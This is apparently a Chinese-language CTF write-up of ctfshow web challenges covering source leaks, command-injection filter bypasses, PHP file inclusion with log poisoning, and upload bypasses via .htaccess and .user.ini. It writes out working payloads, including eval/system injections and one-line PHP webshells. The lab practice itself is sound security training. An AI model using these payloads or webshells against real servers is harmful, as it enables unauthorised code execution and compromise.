信息收集:

web(1)

image-20240727110641599

藏在注释里面

web(2)

image-20240728182805873

用 插件禁用js 然后在查看源代码 或者Ctrl+u也行

image-20240728182857417

web(3)

image-20240728183438469

我们来查看源码,发现什么都没有,所以我们需要转变思路,看看请求包和响应包,然后我们就在响应包中发现了flag

web(4)

image-20240728183742988

这次还是一样的提示,在请求包跟响应包也没有flag

image-20240728183914469

看到提示 robots文件是一般管理员的备份文件,说不定flag就在里面

我们访问robots.txt

image-20240728184121297

在访问这个文件flagishere.txt

image-20240728184144273

web(5)

phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。

image-20240728184423783

访问index.phps,就会自动下载了,在里面就有flag

image-20240728184435108

web(6)

image-20240728184900436

上一道题是源码泄露,这一道看提示,也像源码泄露

常见备份文件名后缀:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
wwwroot.rar
web.rar

image-20240728184828104

web(7)

版本控制:版本控制系统是一段时间内帮助跟踪代码中的更改的软件。 当开发人员编辑代码时,版本控制系统会为文件拍摄快照,目前开发人员都有通过git进行版本控制的习惯。

在发布代码的时候, .git 这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。

所以我们就来访问一下.git目录

image-20240728190414196

web(8)

与上面一样 SVN也一个开放源代码的版本控制系统,同样的也容易不小心发布出去

image-20240801094510897

image-20240801094611602

web(9)

知识点:当运维人员在Linux生产环境下使用vim/vi修改文件时,发生意外时会产生一个后缀为.swp的隐藏文件,第二次意外退出的时候生成的备份文件后缀为:.swo;第三次意外退出的时候生成的备份文件后缀为:.swn

image-20240801101453781

web(10)

image-20240801103833443

有提示,flag在cookie里面 我们打开F12,在存储里面可以看到cookie

image-20240801103802434

web(11)

image-20240801193717185

说实话一开始题目都没看懂是什么意思,看了别人的wp之后

1
2
3
4
5
6
7
8
9
10
11
知识补充: 查询域名解析地址 基本格式:nslookup host [server]

查询域名的指定解析类型的解析记录 基本格式:nslookup -type=type host [server]

查询全部 基本格式:nslookup -query=any host [server]

编辑nslookup -query=any flag.ctfshow.com

正文:根据题目提示‘通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。

查找flag.ctfshow.com域名下的txt记录’可知直接通过阿里云域名解析平台或者终端用命令nslookup都可以找到flag 用阿里云时候记得在高级设置那里调好类型为txt,预期结果为flag即可

这个题目主要是想让我们了解到域名解析的查看方式

域名解析

域名解析是将域名转换为IP地址的过程,使得用户能够通过域名访问互联网资源。这个过程涉及到几个关键的概念和步骤:

1. 域名系统(DNS)

域名系统(DNS)是一个分布式的数据库,用于将域名转换为IP地址。它类似于一个互联网的“电话簿”,可以让你通过域名找到服务器的IP地址。

2. DNS 记录类型

  • A记录(Address Record): 将域名映射到IPv4地址。
  • AAAA记录: 将域名映射到IPv6地址。
  • MX记录(Mail Exchange Record): 定义用于接收电子邮件的邮件服务器。
  • CNAME记录(Canonical Name Record): 别名记录,将一个域名指向另一个域名。
  • NS记录(Name Server Record): 指定负责管理该域名的DNS服务器。
  • TXT记录(Text Record): 可以存储任意文本信息,常用于验证域名或配置电子邮件系统(例如SPF记录)。

3. 解析过程

  1. 用户请求: 用户在浏览器中输入一个域名,例如 www.example.com
  2. DNS查询: 浏览器首先会检查本地缓存是否有该域名的IP地址。如果没有,浏览器会向本地DNS解析器发送查询请求。
  3. 递归查询: 本地DNS解析器会开始递归查询,首先查询根DNS服务器,然后查询顶级域(如 .com)的DNS服务器,最后查询权威DNS服务器来获取实际的IP地址。
  4. 返回结果: 权威DNS服务器返回域名的IP地址给本地DNS解析器,本地DNS解析器将结果返回给浏览器。
  5. 访问网站: 浏览器使用得到的IP地址与目标服务器建立连接,加载网页内容。

web(12)

image-20240801200751586

提示image-20240801200815855

image-20240801201636940

找了半天没找到登录在哪,所以我们来扫一下目录,发现有个admin,我们去访问admin目录

密码就是

image-20240801201705169

web(13)

image-20240801203428881

找到这个document

image-20240801203416105

image-20240801203519289

image-20240801203529116

web(14)

image-20240801205003360

把里面能点的,都先点了一遍,没有什么发现,就开扫

image-20240801204949671

题目中也有提示

image-20240801205125247

image-20240801211540851

image-20240801211640614

它这个就直接进入了根目录下,然后我们在var/www/html/nothinghere/fl000g.txt 找到了flag 因为当前目录在html目录下,所以我们直接去nothinghere/fl000g.txt访问就可以拿到flag了,

web15

image-20240801214948199

image-20240801215109662

image-20240801215047385

image-20240801214925740

image-20240801215134708

接着放回登录就行了,用户名为admin

image-20240801214905082

爆破

web(21)

命令执行

web(29)

image-20240729205403724

tac 查看可以使用*进行模糊匹配

tac fla*->tac flag.txt

背景知识

拿到题目,可以看到通过eval函数可以执行php代码或者系统命令,其中过滤了flag。

$_GET[c]的意思是我们输入c参数; pregmatch是正则匹配是否包含flag,if(!preg_match(“/flag/i”, $c)),/i忽略大小写,如果输入参数中不包含flag的大小写,则进入if判断内部。 还有/m等参数表示多行匹配,具体可以参考这里:https://www.php.cn/php-weizijiaocheng-354831.html

eval($c);就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval内执行的是php代码,必须以分号结尾。eval和其他函数的对比可以参考这里:https://blog.csdn.net/weixin_39934520/article/details/109231480

分别以如下方法尝试拿到flag:

1、直接执行系统命令

?c=system(“tac%20fla*”); 利用tac与system结合,拿到flag

因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。

2、内敛执行 (反字节符)

?c=echo%20tac%20fla*;
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。

3、利用参数输入+eval

?c=eval($_GET[1]);&1=phpinfo();
试一下,没问题,可以看到phpinfo的信息。 然后就使用?c=eval($_GET[1]);&1=system(ls);看一下当前目录都有什么,也可以?c=eval($_GET[1]);&1=system(“ls%20/“);看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为system的参数必须是string。

4、利用参数输入+include

这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)

也可以尝试写入木马 file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 访问alb34t.php,然后就可以连马。

5、利用cp命令将flag拷贝到别处

?c=system(“cp%20fl*g.php%20a.txt%20”);
然后浏览器访问a.txt,读取即可。

web(30)

image-20240729210214525

image-20240729210151065

web(31)

image-20240729210300547

$要进行转义

上传参数c,并对参数c进行一次过滤,将c中的flag|system|php|cat|sort|shell|.| |’字符串过滤掉,不区分大小写,然后执行c的值。
与上一题对比,多过滤了cat,sort,shell,点,空格和单引号。其中cat,sort可以用tail,tac,nl等代替,过滤了shell,则shell_exec用不了了,可以使用反引号,passthru,单引号可以用双引号代替,至于空格,可以使用%09、$IFS$9、${IFS}代替,过滤的flag,php,点,可以用通配符或?代替.
先url/?c=passthru(“ls”);一下,看看当前目录下有那些文件,页面输出了flag.php index.php 很明显,flag应该就存储在flag.php中,payload如下:
url/?c=passthru(“tac%09fla
“);
url/?c=echotac%09fla*;
url/?c=passthru(“tac$IFS$9fla*”);
url/?c=passthru(“tac${IFS}fla*”);
注意:上面的$需要用反斜杠进行转义
空格绕过见:https://blog.csdn.net/m0_56059226/article/details/117997472
也可以嵌套eval绕过
url/?c=eval($_GET[“code”]);&code=system(“tac flag.php”);
还可以这么构造payload,如下:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
具体解释见https://blog.csdn.net/qq_38154820/article/details/107171940

web(32)

image-20240729213928519

我们看到连分号都过滤了,所以一般的方法是过不去的,eval会讲字符串当作php代码执行的。

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

骚姿势,利用include函数包裹$_GET[1],在进行参数逃逸,利用伪协议对flag.php进行读取

web(33)

image-20240730200841282

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

payload还是一样 没有影响

web(34)

image-20240730201420582

还是一样

web(35)

image-20240730205349320

文件包含

web(78)

image-20240730205820242

看到include函数就很明显了,就是文件包含,但是直接包含flag.php是出不来的

本题没有过滤,所以有三种方法:

  • data伪协议(推荐,可以使用ls命令查看flag位置)

    • ?file=data://text/plain,<?php system("ls")?>
      ?file=data://text/plain,<?php system("tac flag.php")?>
      
      1
      2
      3
      4
      5

      - fliter伪协议(不推荐,不知道flag在哪时不好用)

      - ```php
      ?file=php://filter/convert.base64-encode/resource=flag.php
  • 日志包含(推荐,伟大无需多言)

    • ?file=../../../../var/log/nginx/access.log
      <?php eval($_POST[a]); ?>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31

      我这里就直接使用伪协议了

      ![image-20240730210038576](https://raw.githubusercontent.com/bloyet/tupian/main/image/202407302100284.png)



      ### 日志包含:

      日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。

      apache服务器日志存放文件位置: /var/log/apache/access.log

      nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

      由本地日志文件可以看到nginx服务器中记录的是每次请求user-agent报文,那么我们可以通过包含nginx'服务器的日志文件,然后在user-agent服务器中写入木马语句进行注入

      ![image-20240730212705707](https://raw.githubusercontent.com/bloyet/tupian/main/image/202407302127336.png)

      我们知道,在被文件包含之后,是会解析php文件的,同时如果在**User-Agent**没有做严格的过滤限制,那我们就可以在**User-Agent**中写入我们的一句话木马,达到恶意攻击的目的



      ## web79

      ![image-20240730220559302](https://raw.githubusercontent.com/bloyet/tupian/main/image/202407302206196.png)

      ### str_replace

      ```php
      $file = str_replace("php", "???", $file);

这个就是将$file变量中的php替换为???

在 PHP 中,str_replace 函数对大小写是敏感的。这意味着它只会替换完全匹配的字符串,包括大小写。

还是没有对User-Agent进行限制,所以我们还是可以进行日志注入

image-20240730220546378

image-20240730221007166

也还可以使用data伪协议

还可以使用php://input

这是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。

总之就是我们当我们使用这个伪协议的同时使用post传入一段php代码,因为这个伪协议的原因,这段代码会被解析

image-20240730224220844

web(80)

image-20240730221723809

虽然这个题目对data进行了过滤

这道题还是没有对User-Agent进行过滤,所以还是可以进行日志过滤

image-20240730221625238

也可以使用php://input伪协议

web(81)

image-20240730225736664

连冒号都过滤了,就日志注入吧,可以使用

web(82)

文件上传

web(151)

image-20240807200122966

在我们选择一个php文件直接上传的时候,它就直接弹窗了,这个时候我们可以先该后缀在抓包改回了,或者直接禁用js就行了(这个时候要看他上次代码是怎么写的,禁用js也可能导致无法上传文件)

image-20240807200526719

image-20240807200943349

image-20240807201116817

所以在这里我们就不能简单的禁用js了,那就改后缀上传吧,这个题目只能上传png文件的格式

image-20240807201503655

web(152)

image-20240807201634377

image-20240807201802144

这个题目应该是对Content-Type文件类型进行过滤,但是我是直接上传png文件,格式九不用我们换了,只需要抓包改变一下后缀就行了

Content-Type: image/png

web(153)配置文件上传

image-20240807202111671

image-20240731214915385

这个题目只能上传png文件的格式,但是这个是前端校验,我们上传后改包发现php后缀被后端检测了,然后用字典跑了一下关于能被解析为php的后缀,都已经被过滤了或者是解析不了

这个时候就可以试试配置文件上传,因为他还只是黑名单禁用,而不是白名单过滤

在这里重点介绍一下配置文件:

.htaccess文件

https://cloud.tencent.com/developer/article/1944149

在apache服务器下会存在一个.htaccess文件,但是如果在当前目录下存在一个.htaccess将会优先调用这个配置文件(只适用于apache服务器)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<ifModule mime_module>

AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 -->

</ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 -->


<FilesMatch "muma.jpg">

Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

</FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->
1
2
3
<FilesMatch "shell">
Sethandler application/x-httpd-php
</FilesMatch>

.user.ini

https://www.cnblogs.com/sijidou/p/13121301.html

这个配置文件就相当于一个文件包含,它可以把被包含进去的文件当作php文件进行解析

有2个属性,它们的作用是,auto_append_filephp文件最后用require包含进指定文件,auto_prepend_file则是在php文件代码执行前用require包含进指定的文件

1
2
3
4
5
//.user.ini

auto_prepend_file=top.html
auto_append_file=down.html

image-20240807222446952

web(154)

image-20240808115945905

这一个题目就是还是在上一个题目的基础中,增加了一个文件内容检测,文件内容中过滤了php关键字

image-20240808120108559

1
2
<?=@eval($_POST[1]); echo 123;
?>

我们可以利用短标签绕过,这样就不会出现php关键字了,打印123 主要是因为看看PHP代码是否被解析

web(155)

这题不知道加了什么,用上一题的payload就可以绕过

web(156)